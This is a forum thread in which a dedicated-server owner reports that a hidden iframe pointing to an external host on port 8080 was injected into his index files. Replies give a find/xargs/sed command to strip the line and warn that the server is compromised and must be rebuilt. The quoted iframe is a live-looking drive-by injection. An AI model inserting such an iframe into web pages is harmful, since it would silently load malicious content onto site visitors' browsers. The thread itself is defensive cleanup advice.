![]() |
A virus changed all my index files with iframe, how to remove that iframe line?
Hi there,
I've a dedicated server and don't know too much about Linux, but trying to manage it by learning slowly by looking at the tutorials etc. I've several sites at my server, Today when I open my site I got an error message: Code:
Parse error: syntax error, unexpected $end in /home/stuffloa/public_html/index.php on line 585Code:
<iframe src="http://a5j.ru:8080/ts/in.cgi?pepsi100" width=125 height=125 style="visibility: hidden"></iframe>Now It's impossible for me to check one by one file and remove this line manually. Is there any solution for removing this line at once? And how can I prevent this from happening again? Regards, |
You can use find to look for files based on their name and pass the filename to a sed command through xargs. For example
Code:
find /source/path -name index\* -print0 | xargs -0 sed -i '/<iframe src="http:\/\/a5j.ru:8080\/ts\/in.cgi?pepsi100" width=125 height=125 style="visibility: hidden"><\/iframe>/d' |
...also note you can use another separator (pipe symbol?) to avoid having to escape chars in use. Prevention partially depends on the security posture of the machine: exposing services to world that should not be, misconfiguring software, running stale, vulnerable software versions and anything that basically is crappy coded doesn't help.
|
If somebody is changing your code, it means your machine is compromised.
Editing bad code out of your php files is not going to help you. They'll just change it back. You need to take the machine offline NOW (as it is probably sending spam, or worse) and raise this in the security forum of LQ where better people than I can give you the help you need to find out how they got past your security, and how to reinstall and harden your system. I've asked for this thread to be moved. |
Quote:
When I try to run this command as a root in ssh, Code:
find /home/stuffloa -name index\* -print0 | xargs -0 sed -i '/<iframe src="http:\/\/a5j.ru:8080\/ts\/in.cgi?pepsi100" width=125 height=125 style="visibility: hidden"><\/iframe>/d'Where can be the problem? Quote:
So which command should I use to remove the entire line from all of the files? If more information needed about my server or paths, I can provide. Thank you |
Quote:
Quote:
|
Quote:
Before actually running a command suggested by someone, do some test: copy one of the files containing that line in a dummy directory and test the command to see if it works. Once you've verified that it is free from bugs/errors and it does what you expect, you can safely run it on the true files. |
Quote:
Oh I'm so sorry Colucix, I checked it and worked perfectly. Now the question is How Can We Prevent this type of Attack? |
It would be advisable for the OP to read this threads posts a little bit better.
|
Farman - STOP doing what you are doing RIGHT NOW.
Your machine is now operated by someone else, not you. You should stop worrying about some string replacement scripts. You need to REINSTALL your server from trusted sources (CD burned on another machine) and set it up securely BEFORE RUNNING INTERNET SERVICES ON IT. Robert |
Quote:
Quote:
|
| All times are GMT -5. The time now is 10:40 AM. |